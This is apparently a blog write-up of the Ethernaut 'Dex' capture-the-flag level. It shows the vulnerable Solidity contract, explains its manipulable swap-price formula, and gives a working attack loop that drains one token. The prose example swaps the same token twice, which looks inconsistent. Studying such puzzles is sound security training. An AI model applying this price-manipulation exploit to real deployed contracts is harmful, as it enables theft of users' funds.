capu's blog
Me gussssstan las herramientas

Ethernaut 22: Dex

Objective

Drain the contract of one of one of the tokens

Code

 1contract Dex is Ownable {
 2    address public token1;
 3    address public token2;
 4
 5    constructor() {}
 6
 7    function setTokens(
 8        address _token1,
 9        address _token2
10    ) public onlyOwner {
11        token1 = _token1;
12        token2 = _token2;
13    }
14
15    function addLiquidity(
16        address token_address,
17        uint256 amount
18    ) public onlyOwner {
19        IERC20(token_address).transferFrom(
20            msg.sender, address(this),
21            amount
22        );
23    }
24
25    function swap(address from, address to, uint256 amount) public {
26        require(
27            (from == token1 && to == token2) ||
28            (from == token2 && to == token1)
29            , "Invalid tokens"
30        );
31        require(
32            IERC20(from).balanceOf(msg.sender) >= amount,
33            "Not enough to swap"
34        );
35        uint256 swapAmount = getSwapPrice(from, to, amount);
36        IERC20(from).transferFrom(
37            msg.sender,
38            address(this),
39            amount
40        );
41        IERC20(to).approve(address(this), swapAmount);
42        IERC20(to).transferFrom(
43            address(this),
44            msg.sender,
45            swapAmount
46        );
47    }
48
49    function getSwapPrice(
50        address from,
51        address to,
52        uint256 amount
53    ) public view returns (uint256) {
54        return ((amount * IERC20(to).balanceOf(address(this)))
55        / IERC20(from).balanceOf(address(this)));
56    }
57}

The starting conditions are

1balances of the dex contract:
2    token1: 100
3    token2: 100
4
5balances of the attacker:
6    token1: 10
7    token2: 10

Solution

the amount that I'll receive by sending amount of token from is defined on lines 54-55 of the contract, as follows:

1(amount * IERC20(to).balanceOf(address(this)))
2    / IERC20(from).balanceOf(address(this));

Some examples

This price equation tries to arrive at a 'fair' price by making tokens that are more scarce to the contract more expensive to purchase.

The workaround then might be in artificially making one of the tokens more valuable in the contract, by just sending it more of the other without receiving anything in return. Consider the following example:

  1. I send 10 token1 to the DEX contract with a regular ERC20 transfer
  2. I trade my 10 token2 for... 10*110/100 == 11 token2. I got a better price than if I traded without sending first! however, I'm now holding 11 tokens total, instead of the 20 I'd be holding if I either skipped step 1 or didn't trade altogether. This'd only make sense if I could...
  3. Trade my 11 token2 for... 11*120/110 == 12 token2 šŸ¤‘

I can keep on doing that until I fully drain the contract of funds!

 1SwappableToken tkn1 = SwappableToken(target.token1());
 2SwappableToken tkn2 = SwappableToken(target.token2());
 3target.approve(address(target), 1000);
 4tkn2.transfer(address(target), 10);
 5uint i = tkn1.balanceOf(attacker);
 6while (i<100 && i>0) {
 7    target.swap(address(tkn1), address(tkn2), i);
 8    i = min(
 9        tkn2.balanceOf(attacker),
10        tkn2.balanceOf(address(target))
11    );
12    if(i == 0 ) break;
13    target.swap(address(tkn2), address(tkn1), i);
14    i = min(
15        tkn1.balanceOf(attacker),
16        tkn1.balanceOf(address(target))
17    );
18}

Although I have to take care to not ask for a trade that the contract cannot fulfill due to lack of funds. That's why the break is there and why I have to choose between the minimum of my balance and the contract's

Also on this blog:

Comments

Back to article list